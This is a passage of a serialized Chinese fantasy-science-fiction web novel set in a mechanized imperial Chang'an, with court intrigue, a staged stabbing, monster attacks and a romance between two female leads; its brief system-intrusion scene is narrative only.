边烬一边被她吻得浑浑噩噩,一边想着,到底是生气了,吻得好深,扣着她手腕的力道也比往日大了些。
刚刚抵到最舒服之处,沈逆忽然抽离,滚烫的唇齿间的温度随着她的离开骤然下降。
离开得太快,边烬的唇还张着,被勾着想要回应的红舌就在齿边。
张开嘴的动作很不雅观,边烬适应不了,尴尬地要闭上时,沈逆再次凶凶地弄进来。
边烬被她吻得下巴仰起,不小心漏了一声。
沈逆拉着她的手腕,往自己的尾椎去。
想师姐抚她后背,像抚弄心爱的宠物。
一道道,从下到上,再往下。
吻还在继续,边烬被她拉着腕,昏昏沉沉的,无意间从松散的寝衣下摆探了进去。
右手实打实地贴在沈逆的后腰上,那是属于年轻女人的紧致与细腻,从来没感受过的肌肤质感从掌心传来,边烬心头急速加热。
沈逆浑身在战栗,还以为边烬会立即离开,没想到,她的掌心用力贴在沈逆的后腰上,将她紧紧往自己的怀里抱。
边烬掌心的薄茧刮过肌肤,带着一种奇异的摩擦感,有点粗糙,很舒服。
沈逆在边烬的脖子和肩头肆意地咬着,边烬仰着脖子,已经完全放弃了抵抗,抚着沈逆的脑袋,全身心地感受她的气息。
边烬其实明白,心里蓦然升起的抗拒是什么。
是另一个意识的警告。
她不想任何人左右她的行为,可诡异的是,在她内心深处却是认可这个指令的。
而对于守着最后一丝理智的自己,边烬也觉得很可笑。
若不想沈逆难过,那此刻她们所做的又算什么呢?
找个正经的借口,在无灯的黑夜里纠缠,谈何理智。
一边是七零八落的理性,一边是烈焰焚烧的激情。
边烬甚至贪婪地抚过了沈逆的整个后背,再将她按下来,尽情占领她的唇舌。
两个女人炙热的身体,被欲念的蛇紧紧缠在一起。
好热的春夜。
外面似乎下了一场急雨,依旧浇不灭这恼人的火.
窦璇玑和房判一同来到西郊平江坊。
韩复的私宅就在这坊内。
丽景门上下只有副门主去过门主私宅,平日里门主是谁都不招待的。
窦璇玑可能是第一个进入韩复私宅的丽景门女官。
不知道门主要对她说什么。应该不是向她布置任务,她所有的任务都该由队正布置才对。
窦璇玑深吸了一口气,回头对房判说:“你先回去休息吧,等我和门主说完就回去。”
房判不想走,“我陪你进去。我不是你搭档么,说好了做什么都一块儿的。”
窦璇玑有时候觉得自己带着个搭档,有时候觉得带着个要哄的女儿。
“有什么不放心的,我是去找门主,又不是立刻去执行任务。而且门主特意交代只能我一个人去。有什么事情我回来再跟你说行不行?”
房判好不容易才勉强答应不跟着进去。
“我就在这儿等你。”
她指了指坊门口的大榕树。
“一起上值,自然也要一起回家。”
窦璇玑还想说什么,房判倚着树靠着,说:“快去吧。”
窦璇玑没辙,交代一句“小心异兽”后,便进入了平江坊。
韩复私宅在平江坊内非常普通低调。
窦璇玑入宅后,根据信上所说,沿着小路走到后院,看到穿着寝袍的韩复。
这是窦璇玑第一次见到没有穿官服的门主。
韩复散着长发坐在茶案前,妆容淡淡,长裙曳地。
甚至连金属面罩都摘了。
她闭着眼,眼周一圈隐约泛着些黑沉,面容清癯却清丽隽美。
脱去了充满戾气的官服,韩复独坐在月光之下,清雅得宛若仙君。
“璇玑。”
韩复红唇微动。
“坐。”
即便韩复看不见,窦璇玑也迅速收回太过明目张胆打量她的目光,乖乖坐到对面。
“最近很累吧。”
韩复声音柔和,嘴角甚至带着一丝温柔的笑意,亲自为她斟茶。
普通人斟茶只需看一眼,韩复却需要一只手确定茶盏的位置,另一只手才开始倒。
琥珀色的茶入杯,茶香四溢。
韩复单手递来茶盏,窦璇玑受宠若惊,双手去接。
“不累,这是卑职的分内之事。”
韩复笑意更甚,“尝尝看,是你家乡的乌岩茶。”
“家乡”两个字对窦璇玑而言很陌生。
她仿佛生下就是丽景门的人。
家乡给她的记忆只有饥荒,盗匪,恐惧,尸横遍野。
还有饿得快死之时,韩复伸向她的手。
窦璇玑安静喝茶,茶香很醇厚,她从来都不知道自己家乡还产茶。
韩复:“今年十九岁了吧。”
没想到门主记得自己的年纪,窦璇玑放下喝了一半的茶盏,挺直着脊背道:“回门主,到今年八月就满十九了。”
“时间真快,你都十九了。我还记得当初刚将你接到丽景门时,你拉着我的衣角,成天哭的模样。”
被这么一说,窦璇玑也想起自己小时候好像格外爱哭,脸上有些热意,揉了揉耳朵道:
“那都是小时候的事儿了。现在我不爱哭了。”
韩复:“你成长得很快,越来越像我。璇玑,我一直都很看好你,下一任的门主非你莫属。”
窦璇玑心中一颤。
“这……属下愧不敢当。”
“不用自谦,你冷静沉着,心无杂念,一心为主。你的优秀我都看在眼里。璇玑……”
韩复忽然抬手,往向窦璇玑的脸侧伸。
窦璇玑知道盲人会通过触觉来感受对方的容貌,这样伸手,或许是此意。
但韩复到底不能视物,伸向窦璇玑的手距离她的脸庞还有些距离。
窦璇玑犹豫了一下,慢慢靠近韩复的手掌。
韩复的手很冷,掌心干燥,散发着淡淡的药味。并不难闻,反而唤起窦璇玑一些幼时的记忆。
小时候她还有家时,阿娘总是生病,姐姐为她煎药,窦璇玑时常嗅着相似的气味,听着阿娘咳嗽声入睡。
韩复摩挲着窦璇玑细嫩的脸庞,继而抚过她的五官,用指腹勾勒她的模样。
韩复道:“人人都说我身藏剧毒,你不怕我吗?”
窦璇玑被她触碰着,思绪有些飘忽,定了定神,道:“属下怎么会怕您?”
韩复:“璇玑是大孩子了,长得很美。”
被门主轻描淡写地赞美,弄得窦璇玑更紧张,僵坐在原地根本不敢动弹,喉咙发紧,喉头不安地缓缓蠕动。
“璇玑,你会永远留在丽景门,留在我身边吗?”
韩复揉着窦璇玑的耳朵,只揉了两下就将那只冷冷的耳朵揉到发烫。
没被谁这样对待过的窦璇玑已经无法思考韩复言语中更深的含义,双拳紧攥压在膝盖上,本能道:
“当然……窦璇玑就是为丽景门所生,自然会永远留在门主身边。”
韩复似乎很满意她的回答,“乖孩子,那你去杀了沈逆。”
燥热的迷蒙和痴心妄想,在听到这句话的一瞬化成从头灌脚的冷意,让窦璇玑瞬间清醒。
紧紧咬住腮帮。
门主早就发现了……
也是,再机密的事都会随风吹进门主的耳朵里,更何况沈逆是当众救了她性命。她和沈逆的交集门主应该早就知道了。
“嗯?”
一时没听到窦璇玑的回答,韩复追问了一声。
窦璇玑的呼吸声混乱不堪。
知道自己职责所在,不能这么说。
说了之后,定会让门主失望。
但她无法不去争取。
“门主……我,我没办法杀沈逆。她救过我,对我有恩。若是我杀了她,与狗彘何异?”
韩复安静地听着她的话,笑容依旧。
窦璇玑见她没有冷下脸,是不是意味着事情还有转机?
窦璇玑立即补充道:“我知道门主的担忧。您是怕沈逆会通过我插手丽景门事务。您放心,如果您不喜欢,我便再也不见沈逆。以后不小心见到她也权当个陌路人。门内事绝对不会让她知晓,我向您发誓!”
韩复笑着叹了一声。
窦璇玑也跟着傻傻地笑了。
“是我还说的不够明白吗?璇玑,你和沈逆只能活一个。”
韩复语调完全没有变化,甚至还在笑,手中的力道却逐渐加大。
窦璇玑耳骨几乎要被她捏碎。
方才的温馨荡然无存,鲜血从窦璇玑的耳朵上缓缓流下。
“你好像很为难的样子。”
窦璇玑没吭声。
韩复收回手,为自己斟茶。
缓缓喝下一杯茶后才道:
“若你不舍得,就让你搭档去杀她。反正搭档二人勠力同心,你的错就是她的错,你弥补不了,就让她去弥补吧。”
听到这句话,窦璇玑灰败的眼眸慌张地闪烁。
韩复站起身,温柔地摸摸窦璇玑的脑袋便离开了。
徒留窦璇玑独坐原地,汗湿衣襟。
……
平江坊门口居然有卖烤饼的。
窦璇玑去了好久,房判买了两个烤饼,一边吃一边等。
终于看到窦璇玑出来的身影。
房判立即将手里这块烤饼咔嚓咔嚓吃完,拿了另一块递给窦璇玑。
“门主找你啥事啊说这么久。饼都要不脆了。尝尝看,应该还挺好吃的。”
借着月光,藏起耳朵上的伤。
窦璇玑这次完全没异议,安静地接过,咬了一口。
“嗯,的确很脆。”
“怎么了,璇玑,出什么事了?”
“我说什么了,给你吓的。”
“平时不是老嫌弃我吗?怎么今晚上我给你什么吃什么,这么乖。”
“我平时对你很凶吗?抱歉。”
房判被这一声抱歉吓着了,一直问她门主怎么她了,她就是不说。
“走,回去休息了。”
窦璇玑拉着房判,上了午夜的马车。
当然不能让房判去。
房判凭什么要为她的事负责?
虽说丽景门一直在规训女官们,你和你的搭档是一体的,生死相依,不离不弃。
但窦璇玑明白,房判是房判,她是她。
她不想连累搭档。
待她死了,房判换个搭档便是。
第65章
边烬从净房回来时,见沈逆还未睡,坐在案几前飞速敲键盘。
敲了一会儿停下来,似乎在等待什么,神色凝重。
边烬原本在想今晚她会不会又让自己抱着睡觉,结果一进屋就看到她居然在工作。严肃的神态有种不容进犯的气场。
边烬自省了一番,最近太多不该挂在心上的杂念,刚刚亲近完就想着下一趟,实在荒唐。
从身边过,没打扰沈逆。
反倒是沈逆先叫她。
“师姐,你来。”
刚才还在想着不打扰的边烬,被这一招,心里荡漾着欢愉,很快坐到沈逆身边。
见她似乎在黑入某个系统。
沈逆道:“我今晚复制了永王的权限,正在试着进入最高研发署的系统禁区。如果顺利的话能够调取禁区数据和监控。”
“永王是S级的机械师,你复制了她的权限,她是不是有可能发现?”
“有,但不多。就算发现了也好。她知道我只是在利用她,厌恶我是最好不过了。”
沈逆用手遮嘴,打了个呵欠。
“今晚百官敬酒,她喝醉了,这会儿应该已经见周公去了。想要发现自己权限被使用,估计也得明天酒醒之后。今夜我得抓紧时间速战速决。”
边烬知道沈逆这段话是特意说给自己听的。
虽然两个人没有正面聊过李煽的事情,不过聪颖的沈逆早就猜透了她在意什么,所以一直在照顾着她的情绪。
“师姐,我长大了。”
这句话一直在边烬心里回荡着。
沈逆不止是身体长大了,还从一个处处需要人照顾的孩子,变成了细致熨帖的成年人。
边烬悄悄望向沈逆的侧脸,心里有种不太熟悉的酸胀感在蔓延。
很奇怪的感觉,明明又酸又胀,却让她喜欢。
身边这个年轻女人,散发着让她想要主动亲近的魅力。
沈逆正在忙着入侵最高研发署的系统,边烬不好在这个时候打扰她,只安静地坐在她身边陪着。
与此同时也想见证最高研发署禁区里藏的东西到底是什么。
是否真的和黑魔方有关。
结果。
“李煽的权限被拒绝了。”
这个结果让沈逆和边烬都很意外。
沈逆深吸一口气,指骨压在下唇上,望向天花板。
“最高研发署的署长权限都被拒之门外……这个禁区居然连署长都防?”
边烬:“也就意味着禁区里的事物,是连李煽都没有资格接触的。”
沈逆:“那还有谁有资格?”
两人相视,异口同声:“李渃元。”
恐怕只有李渃元有权限进入此处了。
沈逆想起当初她想要进入最高研发署时,李渃元还当着她的面万分为难,说最高研发署的权限不好随意许人,不然她妹妹会不乐意。
说的好像自己这皇帝还要看永王脸色。
结果,依旧是“溥天之下,莫非王土”。
沈逆:“师姐,你与李渃元相识多年,你如何看待李渃元其人?”
边烬两次出征皆是李渃元所求,君臣二人相识已逾二十年。
边烬道:“李渃元虽一直都是稚童模样,可理政的手段却时而宽宥温和,时而狠辣老道。有时候感觉很割裂。”
沈逆:“你也觉得她不像一个人对吧。我一直在观察她,感觉咱们眼前的这个李渃元太稚嫩了,就像个傀儡,一个立在人前的表象。这个傀儡还是个小孩的模样,在世人眼中,孩童需要被照顾,攻击性小。年幼的外形负责迷惑人心,而她背后还有一个操控者,一个真正统治帝国的人。这个人的能力在我们所见的李渃元之上。帝国之所以能航行至今,全赖那人的高超手腕。”
边烬提醒道:“我曾经也有过这样的想法,但是我见过李渃元还未得怪病之前的视频,的确是现在的样子。”
沈逆被堵了一下,思路走入死胡同。
“这样……”
正在思索之时,门外一阵带着金属摩擦的沉重脚步声,是护院。
护院在门外道:“侯君,夫人,门外有一丽景门女官求见侯君。”
丽景门女官?
这个时辰?
此时已过午夜,丽景门找上门肯定不是好事。
边烬:“我跟你一起去。”
“好。”
两人披上外衣往外走,护院追随在后。
来到门前,只见窦璇玑一人站在石阶之下。
窦璇玑手里的刀已经出鞘,靖安侯府的灯火闪在刀身上,寒气逼人。
沈逆觉得事有蹊跷,问窦璇玑:“窦女郎深夜拜访,有何要事?”
窦璇玑抬眸,犀利的目光中含着杀意。
边烬抬臂挡在沈逆身前,警惕地盯着窦璇玑。
窦璇玑却将刀尖转向自己,刀柄向沈逆递去。
“深夜叨扰还请见谅,没有什么大事,只请靖安侯赐我一死。”
沈逆微微拧眉,“我好不容易把你修好,为什么要杀你?”
窦璇玑道:“你不杀我,我就要杀了你。但是我杀不了你,所以也不必大动干戈了。”
沈逆:……
答非所问,很明显有苦难言。
沈逆大致猜到一些,应该和丽景门那不把人当人看的门规有关。
沈逆道:“我没办法杀一个与我无冤无仇的人。你若有苦衷可以告诉我。或许我能帮你想想办法。”
窦璇玑闭了闭眼,重新将刀握住,死气沉沉的眼眸渐渐锐利。
“那只好得罪了。”
沈逆还想说什么,边烬站到她身前。
“你先回去,我来处理。”
沈逆:“可是……”
“我不会让你朋友死。”
边烬伸手向后,握住她的手掌,轻轻抚了一下。
“乖,回去。”
沈逆心砰砰直跳,她当然相信边烬能处理好,被边烬保护着也让她有种被宠爱的欢愉。
可是,为什么边烬要独自一人处理?
大门合上,所有的护院都被禁止出来。
事后沈逆才知道,因为边烬处理的方法过于冷硬,甚至残忍。
她不想沈逆亲眼看到自己的另一面.
大明宫,天子寝殿。
李渃元坐在椅子上,晃着一双幼儿的短腿,叹道:
“李极竟杀了曹肃,还欲私下贿赂沈逆。若沈逆真的与她结盟后果不堪设想啊。”
正在帮李渃元梳头的韩复道:“我去杀了李极。”
“怎么好成天打打杀杀的。而且无论你还是丽景门的人去杀她,她必定知道是朕指使。”
李渃元蹙起清秀的眉。
“她是朕的妹妹,身上流着朕相同的血液,若是她知道朕要杀她,该多难过。”
韩复:“是微臣失言了。”
“你先回去吧。”
韩复:“那安王那边……”
李渃元微不可闻地笑了笑,道:“睦州和长安气候相差巨大,也不知道她能不能适应得了。更何况还有黑魔方作乱,她这时候来,可真不是个好时机。”
韩复跟随李渃元十多年,自然能听出她言下之意。
是想李极死于黑魔方之乱。
这样一来,李渃元仁君的美名依旧,安王也永远无法觊觎她的皇位了。
可是,如今长安城日夜都有护卫排查,出现一只异兽就杀死一只。李极身边更有高天赋的武卫守护,想要她死于异兽之下,不是那么容易。
更何况,异兽怎么会听她的话呢?
韩复的确是李渃元的第一心腹,但有时候李渃元在想什么,从死城一路摸爬滚打到长安城的韩复也猜不透。
韩复离开,偌大的寝殿里只有李渃元一人。
她还坐在椅子上,微微垂着头,像是陷入昏迷,但双眼还睁着。
灯火都熄了,大殿中漆黑一片,她依旧保持着坐姿,一丝不动。
不知过了多久,她瞳孔忽然活了,仰起了头,看向不远处。
漆黑的寝殿深处,有个成年人的身影。
那人矗立在黑暗里,凝视着李渃元不知多久了。
无论多少次被那道目光凝视,李渃元的呼吸依旧会在瞬间变得急促。
寂静至极的空间里,只有李渃元沉沉的呼吸。
“你究竟是谁?”李渃元问。
黑暗中的人一言不发地收回了目光,似乎和帝国天子对话丝毫不感兴趣,只向着窗外的虚空自言自语。
“我终究还是借用了你的力量。”
这是个成年女人的声音,低沉,带着淡淡的忧伤和自嘲.
嗡——
嗡嗡嗡——
曾倾洛猛然惊醒。
震动的不是电子表,而是她身体里侦测黑魔方的模块。
有异兽,还是一大群异兽。
从烛龙级到凤翼级都有。
这对一贯喜欢单独行动的异兽而言很不寻常。
曾倾洛立即查看,发现这群异兽从四面八方往一处围堵,围堵的坐标在郊外。
两个时辰前,曾倾洛刚刚杀死一只异兽,实在太累,就在屋顶上睡着了。
乍然惊醒,浑身都在发痛,可这异动太莫名其妙,曾倾洛一边喝着强效营养液,一边往出事的地方去。
还未到目的地,满地鲜血和动力油,还有凌乱的肢体。
曾倾洛拾起肢体,是义臂。包裹在外的是特殊材料制成的衣服。
这种质感她很熟悉。以前小师姐为她做的夜行衣就是这个材质,这种材质能够高效反射,夜里行走能进入隐身状态。
除了探子,便是暗卫穿得最多。
满地都是残肢,全都是这种衣服。
必定是为了保护重要人物,无数暗卫现身,最后惨死。
是异兽干的,毕竟义体散落却很少见到躯干和脑袋,异兽一边吞噬一边在袭击。
奇怪的是,为什么没有响起警报?
虽说郊区人少,可按理来说,只要出现异兽整个长安城就会拉响相应等级的警报才对。全境追踪器不可能追踪不到这里的状况啊。
前方异兽的嘶吼声震得曾倾洛胸口发紧。
她知道自己的天赋不高,就算有沈逆为她打造的S级义腿和能量池,也未必是这群异兽的对手。
但她活到今天,就是为了这一刻。
不让异兽伤人。
曾倾洛义无反顾往异兽的方向去。
去的路上她试着报警,报警系统却失效了。
来不及细想是不是全境追踪器出了问题,曾倾洛马不停蹄地杀向异兽的过程中,发现异兽一只只减少,待她看到异兽时,只剩下一只烛龙级的异兽正在纠缠一个浑身是伤的女人。
以及血流满阶,一地的尸骸。
曾倾洛没有贸然上前,她找到高处的掩体,在掩体后远程狙杀异兽。
如果是一群,或者是凤翼既以上级的异兽,曾倾洛单打独斗自然不是对手。
不过只剩一只烛龙级,她有信心一战。
距离太远,看不清受伤女人的模样,曾倾洛每一发都打得很小心,不能伤到那人,不然肯定一枪毙命。
异兽被打得发燥,很快锁定了楼顶的曾倾洛,立即往她的方向杀过来。
这只异兽吞噬了人类和机械兽,六条腿奔得极快。
受伤的女人大喊:“快跑!”
听到这声音,曾倾洛心里一颤,居然是她。
曾倾洛稳住身子,半点不退,异兽向她奔来的整个过程她连续开枪,枪枪命中。
异兽发狂般扑向她的一瞬,曾倾洛抽出比她人还高的重剑,紫光一闪,她日夜苦练的必杀一击直刺异兽胸口,将它的内核直接刺出身躯。
没有窍门,异兽的内核在何处,是她日日夜夜对战后积累的经验,无法用言语传授的直觉。
失去核心的异兽身子很快软了下去,哀嚎着变成一摊扭曲的废铁,倒在曾倾洛身边。
曾倾洛喘着气,发现自己脖子被刮出一道血痕。
手有点抖。
这还是她第一次以一己之力杀死烛龙级异兽。
跌跌撞撞走向受伤的女人,那女人不知从哪场筵席上回来,一身盛装,华贵美艳,身上沾着星星点点的血迹,额头也破了,血沿着脸庞流到下巴,滴滴答答的。
别人受伤只有狼狈。
此人受伤,却增加了她的美丽,老天真是不公平。
明明疼得咬紧牙关,那女人却还在对曾倾洛笑。
“怎么又见到了。”裴寂说话时牵动了伤口,喘了一下,道,“咱们可真有缘。”
若说前两次相遇都是裴寂主动现身,今夜便是曾倾洛无意间寻来的。
看裴寂身受重伤,被异兽袭击,还死了那么多暗卫,不像是刻意引她来。
曾倾洛见她那金贵但实在不堪用的裙子被撕得乱七八糟,露出一大片肌肤,面上一烫,立即脱下自己的外衣帮她罩上。
裴寂捏着曾倾洛外衣,眼波轻荡着笑意,凝神看着她,不说话。
“你有这么多暗卫?”曾倾洛看向周围。
“说过了,我姐姐想杀我,不可不防。”
“异兽为什么袭击你。”
“不知道。或许是因为我长得太美。”
曾倾洛不想和这言语轻浮的女人多说,正待离开,远处传来南衙护卫队往此处搜查的声音。
裴寂还倒在地上,气若游丝。
“要是被长安守卫带走,肯定要押入衙门盘问,我受不住盘问的。而且到时候肯定会被我姐姐发现……咳咳……你能不能带我走?我定会好好报答你。”
裴寂边说边咳血。
曾倾洛本不想和此人沾上关系,可裴寂一双美眸湿湿,楚楚可怜,像朵被人摧残的娇花。
若真放任不管,曾倾洛良心难安。
曾倾洛上前将她抱起,问:“去哪?”
裴寂长臂环绕曾倾洛的脖子,近距离品味着她尚存一丝少女稚气的脸庞。
“你去过的。”
曾倾洛抱着她躲过南衙护卫队,找到马车,前往帝国客栈.
后半夜,长安城下了一场连绵的细雨。
这座不夜城也被雨水浇得昏昏欲睡。
唯有那通天的大烟囱,依旧不知疲倦地往漆黑的夜空中排放比夜更浓黑的气体。
丽景门一直有轮值的女官,负责把守门禁。
值班的女官看见黑夜中有人缓缓走来,手里还拖着个沉甸甸的事物。
女官立即提神,持.械出了岗亭,望向那人影。
那是个身材高挑的女人,她一步步走向丽景门大门,手里拖着的也是个人,甚至穿着丽景门的官服。
女官认出了,那是窦璇玑。
窦璇玑后背上插着她自己的刀,一刀贯身,被边烬单手拖着后衣领,一步步往丽景门走来。
鲜血蜿蜒了整条路。
边烬走到大门口,将窦璇玑丢到门前。
窦璇玑半点也不会动了,那女官“锵”的一声亮出武器,却在对上边烬双眸的那一刻,被一股极端的恐惧感碾压得无法动弹。
边烬手中长鞭一甩,惊醒了雨夜。
女官耳膜急痛,浑身发颤。
边烬冷声道:“让韩复滚出来。”
第66章
整个丽景门在休息的女官都被惊动,火速杀到门口。
房判本来被窦璇玑哄睡了,在一片嘈杂声中醒过来,本能的去瞧隔壁的搭档。却发现屋内空空如也,连床铺都没有铺下的痕迹。
窦璇玑答应她好好睡觉,有什么事明日再说的,怎么……
房判心中惴惴不安,跟着同僚一起跑到大门口,却见窦璇玑倒在地上,后背插着她的佩刀,身下满是鲜血和动力油。
脑中嗡嗡作响,房判根本顾不上丽景门正遭遇什么危机,立即扑到窦璇玑身边。
“璇玑!”
推了她几下,完全没动静。
房判心头大乱,正要去探她脉门的时候,却被她暗中拽了一下手腕。
“咦,你没……”
窦璇玑还保持着伏在地上的姿势,垂着脑袋,扣着房判手腕的力道加大。
房判立即噤声,忐忑地望向大门口。
门主正站在大门前,周围近百位丽景门女官都围着一个人。
是边烬。
房判不知道发生了什么事,只感受到弥天的杀气和威压。
她立即抱起窦璇玑往寝屋去。
夜雨中,十多年未说过话的死城双子星再次面对面。
两人都脱去了稚气,在各自的道路上走了许久,不复当初的模样。而针锋相对的命运绕了一圈,再次回到原点。
韩复重新穿上了官服,金属面罩遮眼,立在石阶上,无甚表情地面对边烬。
被上百人包围,边烬目不斜视,往前走了一步,伸手拿起一枚破碎的瓦片。
周围女官就要杀将上来将她擒住,边烬手腕一抖,那瓦片如飞射的炮弹,直直轰向韩复。
汹涌的杀气变成具象化的气浪,将丽景门女官全部卷倒在地,有些人甚至都不敢上前,光是感受到前所未有的杀意都令她们两股战战。
丽景门的女官们变成一只只未见过苍穹的蝼蚁,而苍穹之下,是一只她们从未见识过的猛兽。
轰向韩复的瓦片,在距离韩复只有一指的距离时突然被炸成无数小碎片,崩向墙壁。墙壁上立即多了无数针扎般的深洞。
站在原地完全没挪过位置的韩复,脸上多了一丝黑痕。
那黑痕起初像是被谁用画笔划了一道,很长很轻很细的一道。很快,从中透出黑色的血液。
黑血顺着韩复的鹅蛋脸低落在肩头、地上。
特质的官服完好无损,地面则被腐蚀,冒出浓浓的黑烟。
丽景门女官们震惊地看着这一幕。
她们中很多人是第一次见门主受伤。
边烬冷眸直视韩复。
“若韩门主觉得你这丽景门人太多,今夜我就帮你清理干净。”
丽景门可能被轻视和为难,却从未受到这样的挑衅。所有人握紧武器,但见识过边烬方才漫不经心的一记所蕴含的威力,没有一个真正敢上前。
韩复红唇轻扬,下一瞬,指尖凝出的黑色液体猛然喷向边烬。
一声脆响,边烬手中甩起长鞭,将高速喷射的毒液抽得粉碎,星星点点的洒向空中。
韩复的剧毒,只要沾上一点都会致命。被抽碎的毒液像高速喷溅的雨点,丽景门女官惊惧中立即找掩体躲避。
边烬这一抽已经控制了角度,还是有人躲避不及,惨叫声中手臂到后背被剧毒腐蚀,升腾出的怪异气味连雨水都遮盖不了。
边烬的发梢被腐蚀了一小截,长鞭也被腐断了,随手一丢,正好丢在远处的渣斗内。
韩复不可能不知道,顶尖高手过招的破坏力有多惊人。
一旦她和边烬交锋,丽景门这些女官定会被波及,韩复却完全没有让她们撤离的意思。
明知会误伤手下,她依旧不管不顾使用剧毒,毫不手软。
看到这场面,韩复甚至笑了。
她比传闻中更阴狠。
韩复和边烬的注意力完全放在彼此身上,今夜相斗在所难免。
箭已在弦上,一触即发。
忽然,一阵同时响起的震动声打乱了专注。
包括韩复在内,丽景门所有人的都收到了飞鸽传信。
是左骁卫群发给她们的信,级别为A级的紧急军情。
韩复打开传信,信上说全境追踪器好像出了些问题,城郊有大面积异兽活动踪迹,但是没有报警,需要南衙十二卫和丽景门随时准备增援。
韩复遗憾地对边烬道:“边姐姐,今夜我恐怕没空陪你了。如果觉得扫兴下次再约,我一定让你尽兴。”
韩复和边烬同龄,唤她“边姐姐”是在揶揄她。
当初在死城时,边烬才五六岁的年纪却少年老成,很会照顾人,一群十岁的孩子都喊她“边姐姐”。
当然,这里面不包括韩复。
韩复独来独往,不与任何人有交集。
此刻韩复的话乍听上去很暧昧,实则是在挑衅。
边烬也有些在意异兽的事,懒得搭理她的口无遮拦。
全境追踪器是沈逆帮忙升过级的,以沈逆的技术而言不太可能会出岔子。
边烬对沈逆的能力百分百信任,不觉得会是机器的原因。
或是人为,或是生出了异变。
今夜边烬来就是想给丽景门一个警告,看这些女官们看她的眼神全都带上了惧意,回头便没人再来与靖安侯府结缘,她们的命也算是保住了。
边烬比韩复更关心异兽的行踪,韩复带着丽景门的人往城郊去,她悄悄跟在后方,去看看究竟出了何事。
到了城郊,一大片的残肢惨状,即便是冷酷如丽景门的女官,看到此情此景都有些不适。
边烬只站在远处高楼上,没有下去。
沈逆悄悄来到她身后,本来想吓她一跳,结果边烬都没回头便说:
“的确很奇怪,这些异兽很多都是刚刚被黑魔方拧出来的,居然直冲此地。更奇怪的是,有无数暗卫守候在此,像是在保护谁。师妹,你可有头绪?”
沈逆:……
师姐这是脑袋后面长眼睛了。
“你怎么知道我在?”
“你一整晚都跟着我,我自然知道。”
边烬说交给她来办,沈逆是有种被呵护的快乐,可她也担心边烬。
全程她都用侦查鸟跟着边烬和窦璇玑。
来丽景门前,边烬对窦璇玑说:“这件事有两全的法子,你若信我,我来处理。你要受些苦,但不会死。”
窦璇玑信了她。
那一刀插得非常巧妙,看似插中要害,实则只是受了轻伤,人不会有大碍。
沈逆一直跟着边烬身后,跟到丽景门,又跟到城郊。
沈逆坐到边烬身侧,看着不远处正在升起的朝阳。
“我已经查过,全境追踪器没有问题,是人为用权限切断了这次警报。异兽相聚伏击,和上次鲲鹏级异兽有目的地逃往最高研发署,以及画舫遭遇李极都不太一样。”
边烬道:“这么说来,这次是实打实有人操控了异兽,想达成某种目的。”
沈逆道:“而且师姐,你不觉得奇怪吗?今晚窦璇玑突然登门,引发咱们和丽景门交恶。与此同时全境追踪器就坏了,有人在此时被伏击,这个人还是拥有无数暗卫的人。怎么看都太巧了。”
“能在京中布置这么多暗卫,只有那个人了。”
“安王李极。”
“而想要除掉李极的人……”
边烬和沈逆同时往天上看了一眼。
天子。
如果是李渃元为了除掉李极,那全境追踪器被人为关闭就说得过去了,李渃元必然有此权限。
李极在剧院非常高调接近沈逆,这件事李渃元不可能不知道。
李极这么做,一方面是在粗暴地宣布沈逆和自己的关系,即便李渃元不完全相信,也肯定会忌惮。
沈逆若是被李渃元猜忌甚至打压,那么转投李极麾下的可能性便大大增加。
这一招走得很阴损,而李渃元的还击更直接。
一个病弱的天子,疑心更重,下手更狠。
用窦璇玑来转移靖安侯府的注意力,以防真与李极结盟,会去增援李极。
李极入京的真正目的究竟是什么,只有她自己知道。威慑李渃元或是拉拢权臣,都有可能。
她一定规划好了万全之策,看这么多暗卫就知道,她以为自己不可能死于武力和暗杀。
未曾想过会遭遇异兽的群攻。
且看李渃元的心腹韩复是否会淡化这次莫名其妙的惨案。
若是她淡化,更证明此事与李渃元脱不了关系。
果然,韩复对左骁卫将军道:“天子有令,今夜之事不可外传,等待天子口谕再做进一步处理。”
左骁卫将军是李司之外,南衙十二卫里另一位女将军。
她是S级战斗天赋顶格的人,自认比所有同级都要优越,平日里目中无人惯了,冷不丁被韩复这么一命令,从鼻子里哼出一声冷意,却也不想惹丽景门门主,不甘不愿地收了队。
见左骁卫走了,沈逆和边烬对视一眼。
看来她们的推测方向无误,一切顺理成章。
除了一点,李渃元是如何控制异兽袭击李极的。
以及,李极死了没有。
丽景门正在收拾残局,边烬和沈逆继续等了一会儿,直到韩复说:“不用等了,没有你们要等的尸体。”
韩复早就知道她们在高处围观,而这一片尸山里没有李极的踪影。
边烬暗暗拉了沈逆一下,两人离开.
丽景门内。
房判将窦璇玑抱回寝屋,窦璇玑趴在床上,后背不断起伏,忍着痛道:“房判,把刀,拔出来……”
“拔,拔出来?直接拔?”
“是……”
窦璇玑侧着脸往后看着,声音微弱,撑着最后一点精力没有昏迷过去。
“边女郎说,只要……利落地将刀拔起,立即止血,躺几天就没事了。”
“可是,万一我不太利落呢?”
窦璇玑受不了,“废什么话,让你拔就快拔!”
房判被她凶了一下倒是提起了点精神,沉了沉气,跪到窦璇玑身上,左手摁着她的肩膀,右手握住刀柄。
“那我数到三就拔了!”
窦璇玑咬住被角,冷汗津津,闷声道:
“拔。”
房判心下一横,“三”字一落,红刀拔起。
血“呲”的斜斜一道溅她一身。
窦璇玑怕房判害怕,全程忍着半点声没出,只是身子受不住地猛然一颤,随后,待痛楚从峰值跌落,疼痛变成了满满的倦意,无力地躺回床上。
房判立即把淌血的刀丢到一旁,为窦璇玑止血。
血止住了,窦璇玑攥紧的手还没能松开。
即便窦璇玑说了,边烬这一刀非常精巧,看上去像是能要她命,实则休息几日就能好。
可当下的痛苦,还不是窦璇玑自己受着么。
房判无声地握住窦璇玑的手,为她将发硬的关节舒展开。
窦璇玑脸色惨白,但精神还好,回视身后的搭档,虚弱地笑道:
“还是吓着你了?”
房判摇摇头。
“傻子,我没事。”
房判这张脸做不出任何表情,也无法落泪,可她的情绪还是会被窦璇玑感知到。
窦璇玑这个伤者倒是开始宽慰房判。
窦璇玑手臂向后展,拍了拍房判的胳膊。
“只是,边女郎交代要我多装病几日。若是我不装重伤,门主肯定会怀疑的,这事儿过不去,那我这苦肉计就算失败了。”
韩复让窦璇玑去杀沈逆,这是完全超出她能力范围的事,她不可能完成,韩复也不指望她能完成。
韩复的目的就是敲打她,同时也敲打丽景门的其他人,不许与外人结交,否则窦璇玑的下场就是她们的明天。
边烬深知韩复的心思,给了窦璇玑一刀,再提人上门,警告韩复,你们丽景门女官不可能动得了靖安侯府,来一个杀一个。
